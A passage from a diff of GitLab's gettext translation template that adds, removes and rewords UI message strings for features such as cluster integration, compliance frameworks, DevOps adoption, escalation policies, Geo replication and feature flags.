-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7960,24 +7807,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8008,9 +7837,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -8032,21 +7858,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8071,27 +7885,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -8107,12 +7906,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -8185,6 +7978,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8200,9 +7996,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8501,9 +8303,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8540,9 +8339,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8561,42 +8357,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8615,6 +8378,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8869,6 +8635,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -9224,7 +8993,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9263,6 +9032,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9329,6 +9101,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9569,9 +9344,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9698,9 +9470,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9932,6 +9701,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9941,9 +9716,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9959,9 +9731,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -10037,6 +9806,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10258,9 +10030,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10327,6 +10096,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10688,9 +10469,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10715,6 +10493,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10748,7 +10529,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10868,6 +10649,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11553,12 +11337,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11616,7 +11418,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11628,21 +11430,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11676,6 +11481,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11697,6 +11505,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11715,15 +11526,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11911,7 +11719,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11962,7 +11770,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11971,6 +11779,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -12187,9 +11998,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -12223,9 +12031,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12286,6 +12091,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12415,6 +12223,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12424,13 +12235,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12511,13 +12325,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12535,6 +12346,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12550,9 +12364,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12562,9 +12373,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12694,6 +12502,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12859,9 +12670,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13342,7 +13150,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13351,30 +13159,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13384,6 +13216,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13420,9 +13261,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13568,7 +13406,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13589,9 +13427,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13688,9 +13523,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13709,9 +13541,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13997,9 +13826,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -14031,9 +13857,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -14082,9 +13905,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -14115,9 +13935,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -14133,9 +13950,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -14175,24 +13989,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -14202,9 +14004,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14290,9 +14089,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14308,6 +14104,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14374,9 +14173,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14545,6 +14341,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14566,10 +14365,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14773,159 +14569,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -15016,6 +14674,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -15115,9 +14776,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -15190,6 +14848,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -15199,6 +14863,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -15229,9 +14896,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -15253,6 +14917,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15793,9 +15466,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15841,6 +15511,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15862,9 +15541,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15895,6 +15571,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15964,13 +15643,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -16006,9 +15682,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16321,18 +15994,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16357,6 +16027,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
